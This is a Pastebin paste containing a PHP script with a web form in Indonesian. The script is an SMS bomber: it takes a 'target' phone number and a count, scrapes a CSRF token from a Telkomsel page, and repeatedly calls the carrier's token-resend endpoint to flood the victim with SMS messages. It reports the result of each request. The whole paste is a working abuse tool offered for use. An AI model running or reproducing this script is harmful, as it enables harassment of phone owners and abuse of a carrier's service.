Advertisement
Guest User

Teamcreative

a guest
Feb 13th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.98 KB | None | 0 0
  1. <?php
  2.  
  3. if ( $_REQUEST["nomor"] && !empty($_REQUEST["nomor"]) ) {
  4.     $no = 1;
  5.    while ( $no <= $_REQUEST["jumlah"] ) {
  6.         $get_content = access("https://mobi.telkomsel.com/ulang");
  7.         $csrf = parse($get_content, "name=\"ci_csrf_token\" value=\"", "\"");
  8.         $data_post = http_build_query([
  9.             "ci_csrf_token" => $csrf,
  10.             "msisdn" => $_REQUEST["nomor"],
  11.         ]);
  12.         $data_send = access("https://mobi.telkomsel.com/ulang/token", [
  13.             "post" => $data_post,
  14.             "json" => "array",
  15.         ]);
  16.         switch($data_send["status"]) {
  17.             case 1 : $status = "SUKSES"; break;
  18.             case 2 : $status = "NOMOR SALAH"; break;
  19.             case 3 : $status = "LIMIT"; break;
  20.         }
  21.         echo "{$no}. BOM SMS  => {$status} GAN<hr>";
  22.         $no++;
  23.     }
  24.     exit(0);
  25. }
  26. function access($url, $data = null) {
  27.     if ( isset($data["user_agent"]) == false )
  28.         $data["user_agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7";
  29.     $ci = curl_init();
  30.     $ci_array = array(
  31.     CURLOPT_URL => $url,
  32.     CURLOPT_RETURNTRANSFER => true,
  33.     CURLOPT_USERAGENT => $data["user_agent"],
  34.     );
  35.     if ( isset($data["cookie"]) ) {
  36.         $ci_array[CURLOPT_SSL_VERIFYPEER] = false;
  37.         $ci_array[CURLOPT_SSL_VERIFYHOST] = false;
  38.         $ci_array[CURLOPT_COOKIEFILE] = $data["cookie"];
  39.         $ci_array[CURLOPT_COOKIEJAR] = $data["cookie"];
  40.     }
  41.     if ( isset($data["post"]) ) {
  42.         $ci_array[CURLOPT_POST] = true;
  43.         $ci_array[CURLOPT_POSTFIELDS] = $data["post"];
  44.     }
  45.     if ( isset($data["follow"]) ) {
  46.         $ci_array[CURLOPT_FOLLOWLOCATION] = true;
  47.     }
  48.     if ( isset($data["referer"]) ) {
  49.         $ci_array[CURLOPT_REFERER] = $referer;
  50.     }
  51.     curl_setopt_array($ci, $ci_array);
  52.     $curl = curl_exec($ci);
  53.     curl_close($ci);
  54.    if ( isset($data["json"]) && $data["json"] == "array" ) {
  55.         return json_decode($curl, true);
  56.     }
  57.     if ( isset($data["json"]) ) {
  58.         return json_decode($curl);
  59.     }
  60.     return $curl;
  61. }
  62. function parse($source, $first, $second) {
  63.     $data = explode($first, $source);
  64.     if ( !$data && empty($data[1]) )
  65.     return false;
  66.     $data = explode($second, $data[1]);
  67.     if ( empty($data[0]) )
  68.     return false;
  69.     return $data[0];
  70. }
  71.  
  72. ?>
  73. <div align="center" style="max-width: 560px;margin: auto;">
  74.   <form method="POST">
  75.   <br>&nbsp; &nbsp;
  76.   <br>Masukkan Nomor Target-nya gan
  77.   <br><input type="number" name="nomor" value="628" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
  78.   <br>&nbsp; &nbsp;
  79.   <br>Masukkan Jumlah BOM-nya gan
  80.   <br><input type="number" name="jumlah" value="5" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
  81.   <br>&nbsp; &nbsp;
  82.   <br><input type="submit" value="BOM GAN!" style="padding: 10px 0;text-align: center;border: 1px solid #ccc;width: 100%;">
  83.   <br>&nbsp; &nbsp;
  84.   </form>
  85. </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement